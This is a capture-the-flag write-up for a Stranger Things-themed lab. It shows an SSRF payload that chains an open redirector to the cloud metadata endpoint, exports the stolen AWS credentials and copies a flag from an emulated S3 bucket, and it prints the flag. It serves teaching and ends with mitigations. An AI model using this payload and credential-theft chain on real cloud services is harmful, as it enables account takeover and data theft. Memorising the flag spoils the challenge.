CyberKavach QuestCon Series: Hawkins National Lab

 


Hawkins National Lab

Welcome to another installment in the CyberKavach QuestCon write-up series! This time, we’re delving into "Hawkins Lab SSRF", a hands-on web security challenge inspired by Stranger Things, exploring server-side request forgery, cloud abuse, and chained exploitation.

Author: Madhura Barve

Challenge Details

  • Category: Web Exploitation / Cloud Security

  • Core Focus: Server-Side Request Forgery (SSRF), AWS Credential Extraction, S3 Bucket Access

  • Flag Format: questcon{...}


Story & Purpose

A mysterious breach rocked the Hawkins National Laboratory, exposing classified data to the Upside Down. Participants must use cybersecurity and web exploitation skills to retrieve a secret flag deep within the digital labs.

This challenge is crafted to teach SSRF concepts, chained web/cloud attacks, and S3 bucket exploitation using an emulated (containerized) cloud stack.


Challenge Infrastructure

Core components included:

  • webapp: Node.js/Express frontend for user interaction.

  • meta, redirector: Microservices simulating metadata and redirection.

  • localstack: AWS emulator for S3/credentials.

  • flag.txt: Hidden file containing the flag within the S3 bucket.

Image Placement #1:
Screenshot of the webapp interface in a browser, showing the initial challenge prompt or submission box.


Step-by-Step Solution

1. Access the Webapp

Open the interface (usually at http://localhost:8080) to submit URLs for fetching.

2. Test SSRF Functionality

Submit a non-malicious URL such as http://example.com to see normal behavior.

3. Probe for Metadata

Attempt to access the cloud metadata endpoint:

http://169.254.169.254/latest/meta-data/iam/security-credentials/lab-role

This is blocked by server-side filters.

4. Discover the Redirector

Experimenting with internal URLs leads to the redirector service. This open redirect can be leveraged to reach internal metadata endpoints by chaining requests.

5. SSRF Exploit, Credential Extraction

Craft a payload such as:

http://redirector/meta/169.254.169.254/latest/meta-data/iam/security-credentials/lab-role

This triggers the redirector to fetch cloud metadata, returning AWS temporary credentials.

6. Set Up AWS CLI Access

Configure your terminal session using the credentials:

text

export AWS_ACCESS_KEY_ID=CTFTESTAKIAEXAMPLE

export AWS_SECRET_ACCESS_KEY=CTFTESTSECRETEXAMPLE

export AWS_SESSION_TOKEN=CTFTESTTOKENEXAMPLE


(For PowerShell: $env:VAR="value")

7. Retrieve the Flag from S3

Use the AWS CLI with a custom endpoint to talk to the localstack S3 emulator:

aws --endpoint-url=http://localhost:4566 s3 cp s3://hawkins-upside-down/flag.txt -


The flag prints to your terminal upon success.


The Flag

questcon{upside_down_bucket_DEADBEEF}


Lessons Learned

  • SSRF, when chained with internal redirects, can lead to high-severity cloud credential leaks.

  • Cloud meta-data services represent a significant attack surface in modern web apps.

  • Mitigate by validating user-supplied URLs, using strict allowlists, and restricting server outbound permissions.

Image Placement #4:
Diagram or flowchart illustrating the SSRF chain from web app → redirector → metadata service → S3.


Stay vigilant! Even "small" web flaws can have major Upside Down consequences.


Comments

Popular posts from this blog

CyberKavach QuestCon Series: Upside-Down Vault

From Open Networks to Safe Systems: How Firewalls Block the Hacker’s Doorway

CyberKavach QuestCon Series: VecNet